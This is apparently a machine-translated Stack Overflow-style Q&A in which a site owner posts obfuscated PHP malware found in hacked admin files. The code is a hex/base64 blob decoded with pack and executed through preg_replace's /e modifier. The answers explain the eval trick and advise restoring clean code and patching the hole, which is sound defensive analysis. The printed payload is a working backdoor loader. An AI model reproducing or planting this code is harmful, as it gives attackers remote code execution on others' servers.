我不知道这是否是提出这个问题的正确位置,如果不是,请告诉我。
我最近有一个项目将一个网站从一个主机(不知道哪个)移动到一个新主机(hostgator)。我这样做了,并且在一天之内收到了来自hostgator的邮件,该网站已被阻止,因为服务器上发现了恶意文件。他们给了我一个php文件列表,里面有恶意软件'在里面。我打开它们肯定会有一些与众不同的东西。有一个巨大的十六进制字符串(以下称为THE STRING
)分配给一个全局变量,并且在它下面有更多的缝合乱码。
我已经尝试了解代码以及我所理解的内容已写在评论中
<?php
$I1ll=0;$GLOBALS['I1ll'] = ';!AY3VybAqbX2luaXQYWxsb3dfdXJsX2ZvcGVuJFlMQipVX3NldG9wdAU&=X2V4ZWMpxtXwGEXY2xvc2UxDFy&PGltZyBzcmM9Ig^ZIiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4CHgoegSFRUUF9IT1NU%_MTI3LgNjbMTAuAgNMTkyLjE2OC4.gdwb}ub3Nvbi5pbgZ2Fib3Iuc2U.c2lsYmVyLmRlZDaGF2ZWFwb2tlLmNvbS5hdQ^PWV8&OgZGlzcGxheV9lcnJvcnMOkZGV0ZXJtaW5hdG9yZnRwDm Mi4xMgMroSUkxSTFsbGwxwU qYmFzZTY0X2RlY29kZQivkYmFzZTY0X2VuY29kZQeaHR0cDovLwFq}SFRUUF9VU0VSX0FHRU5UW*dW5pb24_D.c2VsZWN0cyrUkVRVUVTVF9VUkkbU0NSSVBUX05BTUUUVVFUllfU1RSSU5H@_Pw(FL3RtcC8R.kjL3RtcAQVE1QhuVEVNUAkVE1QRElSaKuAdXBsb2FkX3RtcF9kaXIdLg~gdmVyc2lv$LQjLXBocA=kSFRUUF9FWEVDUEhQN;Ijjb3V0b2sH$!iRaHR0cAIOi8vii}L3BnLnBocD91PQ~XJms9mBJnQ9cGhwJnA9?nMJnY9Cd*qZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1S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aHBkQ2d3S1RzZ2ZTQnBaaUFvUUdselgyWnBiR1VvSkhSdGNDa3BleUJBYVc1amJIVmtaVjl2Ym1ObEtDUjBiWEFwT3lCOUlHVnNjMlY3SUNSSmJFa3hNVEU5UUhWeWJHVnVZMjlrWlNna1NXeEpNVEV4S1RzZ2RYQmtLQ1IwYlhBc1NURXhNVWxKTVRFb05UazVMQ0EyS1M1Sk1URXhTVWt4TVNnMk1EWXNJRFFwTGlSSk1XeEpiR3hiTUYwdVNURXhNVWxKTVRFb05qRXpMQ0F4TkNrdUpFbHNTVEV4TVM1Sk1URXhTVWt4TVNnMk1qa3NJRFFwTGlSSlNXd3hTVEV1U1RFeE1VbEpNVEVvTmpNMUxDQXhNaWt1SkVreGJFbHNNUzVKTVRFeFNVa3hNU2cyTlRBc0lEUXBMaVJKYkd3eGJFa3BPeUI5SUgwZ2ZRPT0iKSk7cHJlZ19yZXBsYWNlyr?6261736536345f6465636f6465';
if (!function_exists('I111II11')){ //if function doesn't exist
function I111II11($a, $b){ //define the function
$c=$GLOBALS['I1ll']; //get hexadecimal value
$d=pack('H*',substr($c, -26)); //pack data into binary string passing last 26 characters of THE STRING, translates to 'base64_decode'
return $d(substr($c, $a, $b)); //base64_decode the required section of THE STRING
}
};
$Illl1I1l1 = I111II11(6482, 16); // wants to process 'cHJlZ19yZXBsYWNl' translates to 'preg_replace'
$Illl1I1l1("/IIIIll1lI/e", I111II11(658, 5824), "IIIIll1lI"); // Replace 'IIIIll1lI' with 'qZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkZGUFVVOVBUeWw3SUNSSk1XeHNTVEVnUFNCSk1URXhTVWt4TVNnekxDQTJLVHNnSkVreFNURXhNU0E5SUNSSk1XeHNTVEV1U1RFeE1VbEpNVEVvTVRFc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1NUR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tLQ1IwYlhBc1NURXhNVWxKTVRFb05UazVMQ0EyS1M1Sk1URXhTVWt4TVNnMk1EWXNJRFFwTGlSSk1XeEpiR3hiTUYwdVNURXhNVWxKTVRFb05qRXpMQ0F4TkNrdUpFbHNTVEV4TVM1Sk1URXhTVWt4TVNnMk1qa3NJRFFwTGlSSlNXd3hTVEV1U1RFeE1VbEpNVEVvTmpNMUxDQXhNaWt1SkVreGJFbHNNUzVKTVRFeFNVa3hNU2cyTlRBc0lEUXBMaVJKYkd3eGJFa3BPeUI5SUgwZ2ZRPT0iKSk'
?>
所以最后它使用preg_replace
函数来替换字符串,但是这段代码的目的是通过它实现什么,它没有对它做任何事情,没有&#39 ;甚至echo
编辑它。是消耗CPU时间吗? /e
修饰符与它有关吗?
我想提到的另一件事是文件中有更多代码,正常代码。这些不是垃圾文件,这些是用于管理网站的网站的管理文件,如添加或删除内容等。
此外,所有文件都不完全相同,它们有不同的字符串,并根据字符数提取不同的部分。
知道它是什么吗?
修改:我找到了similar question,其中发布了已清理的版本并详细解释了
答案 0 :(得分:3)
$Illl1I1l1("/IIIIll1lI/e", I111II11(658, 5824), "IIIIll1lI")
转换为
preg_replace("/IIIIll1lI/e", I111II11(658, 5824), "IIIIll1lI")
重要的是/e
导致I111II11(658, 5824)
的输出在替换之前被评估为PHP代码。
I111II11(658, 5824)
返回
eval(base64_decode("aWYgKCFkZWZpbmVkK...bEkpOyB9IH0gfQ=="));
如果您将eval
更改为echo
,您将看到正在执行的PHP代码。我没有完全粘贴它,但如果你愿意,你可以尝试理解它。
if (!defined("determinator")) {
function getfile($QOQOOO) {
$I1llI1 = I111II11(3, 6);
$I1I111 = $I1llI1.I111II11(11, 7);
...
代码中包含以CURLOPT_
开头的字符串,所以似乎下载了一些内容。
答案 1 :(得分:3)
一旦你确定它是一个黑客(在这种情况下很明显),试图理解代码的作用或它是如何做的并没有太多的里程。您的首要职责应该是:
对于第一点,我真的希望你在黑客攻击之前拥有代码的原始副本。如果它是自定义编写的代码,那么希望你在某处拥有原始源代码。如果它是第三方应用程序,那么您可以从原始供应商下载它。 不要尝试从被黑客入侵的文件中恢复它;你可以看到明显的黑客攻击,但那里可能还有其他不太明显的东西;除非你进行完整的代码审核,否则你不会知道。
切换到新主机有助于处理#3,具体取决于#2的答案。无论如何,你正在这样做,所以这是一个良好的开端。
另一方面,如果您的原始PHP应用程序存在已被利用的漏洞,那么没有多少交换主机可以提供帮助;你真的需要修复代码。对于第三方应用程序,如果应用程序受到良好支持,则可能通过升级到最新版本来实现。对于自定义编写的代码,您需要自己找到安全漏洞。
一旦您完成了保护网站的所有工作,您就可以花时间分析实际的黑客代码。
答案 2 :(得分:2)
嘿@VeeK我观察过代码和上面代码中的可疑内容是使用带有 e 修饰符的preg_replace是危险的,因此在最新版本的php中不推荐使用导致远程恶意代码执行。作为hostgator用户,我可以说hostgator对所有上传的文件进行了后端验证,这显然已经捕获了代码执行逻辑
对于您的参考资料,这些是安全研究人员提供的最佳资源: